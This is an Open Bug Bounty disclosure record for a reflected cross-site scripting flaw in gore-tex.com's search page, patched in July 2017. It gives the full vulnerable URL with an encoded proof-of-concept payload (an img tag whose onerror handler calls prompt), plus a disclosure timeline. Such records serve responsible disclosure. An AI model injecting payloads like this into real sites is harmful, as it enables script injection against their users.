Lucene search

K
openbugbountyHogarth45OBB:194500
HistoryNov 22, 2016 - 7:29 p.m.

gore-tex.com XSS vulnerability

2016-11-2219:29:00
hogarth45
www.openbugbounty.org
8
Vulnerable URL:
http://www.gore-tex.com/searchgoretex/index?Ntt=te%22%3E%3Cimg%20src=x%20onerror=prompt(/OPENBUGBOUNTY/)%3Est&N;=0&Ntx;=mode%2Bmatchallpartial&Ntk;=All&Nty;=1&locale;=en_us
Details:
Description Value
Patched: Yes, at 28.07.2017
Latest check for patch: 28.07.2017 12:55 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 163024
VIP website status: No
Check gore-tex.com SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 22 November, 2016 19:29 GMT
Generic security notifications sent to website owner 22 November, 2016 19:31 GMT
Notification sent to subscribers (without technical details) 22 November, 2016 22:17 GMT
Vulnerability details disclosed by researcher 14 February, 2017 20:14 GMT
Vulnerability patched by the website owner 28 July, 2017 12:55 GMT